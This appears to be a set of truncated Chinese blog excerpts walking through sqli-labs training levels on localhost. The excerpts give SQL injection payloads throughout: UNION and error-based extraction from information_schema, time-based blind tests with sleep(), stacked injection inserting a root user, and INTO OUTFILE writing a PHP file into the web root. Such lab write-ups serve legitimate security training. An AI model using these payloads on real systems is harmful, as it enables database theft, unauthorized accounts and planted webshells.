使用此漏洞需要知道WEB程序的根路径并且MYSQL的secure-file-priv配置应为可写入该路径 添加单引号,发现错误被屏蔽 对应的SQL语句应为 ')) ... 字段还是3个 在数据库中执行测试,看是否能写入成功 ,,' into outfile 'D:\phpStudy\PHPTutorial\WWW\1.php'#')) LIMIT 0,1 修改my.ini secure-file-priv="" 重启MYSQL,测试写入,注意/需要转义 ,,' into outfile…
双注入查询可以查看这两篇介绍 https://www.2cto.com/article/201302/190763.html https://www.2cto.com/article/201303/192718.html 简而言之就是构造如下的查询,会使得查询结果的一部分通过报错的形式显示出来 ))as a from information_schema.tables group by a; 数据库执行结果 但是也有几率不报错 加大rand()的倍数时,报错几率更高,个人推荐用rand()*9这…
同less5 单引号改成双引号就行 http://localhost/sqli/Less-6/?id=a" union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*9))as a from information_schema.tables group by a%23…
提交id参数 加' http://localhost/sqli/Less-4/?id=1' 页面正常,添加" http://localhost/sqli/Less-4/?id=1" 对应的sql语句应为 select ... from ... where xx=("1") limit 0,1 构造 select ... from ... where xx=("1")#") limit 0,1 对应的GET请求 http://localh…
实质上和less1没有多大区别,看懂了一样走流程 提交参数 加单引号 http://localhost/sqli/Less-3/?id=1' 观察报错,看near 和 at 的引号之间内容 '1'') LIMIT 0,1 1后面有一个 ' 是我们添加的,于是正常的sql语句应该是 select ... from ... where xx=('1') limit 0,1 于是构造 select ... from ... where xx=('1')#') limit 0,1 对应的GET请求为 h…
GET方式提交id参数 添加单引号,出现报错,爆出数据库名称和部分SQL语句 http://localhost/sqli/Less-1/?id=1' 使用order by猜测字段数,用#注释掉后面limit 0,1语句 http://localhost/sqli/Less-1/?id=1' order by 1# 字符#浏览器不会编码可以手动编码%23 http://localhost/sqli/Less-1/?id=1' order by 1%23 order by 4时页面不正常,推测字段数…
和Less44一个名字 测试一下,发现是')闭合的 login_user=&login_password=1') or sleep(0.1)# 那就是没有错误显示的less42 login_user=&login_password=1');insert into users(id,username,password) value(15,'root','root')#…
盲注漏洞,登陆失败和注入失败显示的同一个页面 可以用sleep函数通过延时判断是否闭合引号成功 这个方法有一点不好的地方在于,并不能去控制延时,延时的时间取决于users表中的数据数量和sleep函数的参数 login_user=&login_password=1' or sleep(0.1)# 14条数据延时了1.4s 但延时的出现就证明引号闭合成功了 login_user=&login_password=1';insert into users(id,username,password…
和less42一样 login_user=&login_password=1');insert into users(id,username,password) value(15,'root','root')#…
Forgot your password? New User click here? 看源码,可以发现和less 24不同的一点在于password字段没有进行转义处理 那就对password字段进行堆叠注入 login_user=&login_password=1';insert into users(id,username,password) value(15,'root','root')# 登陆…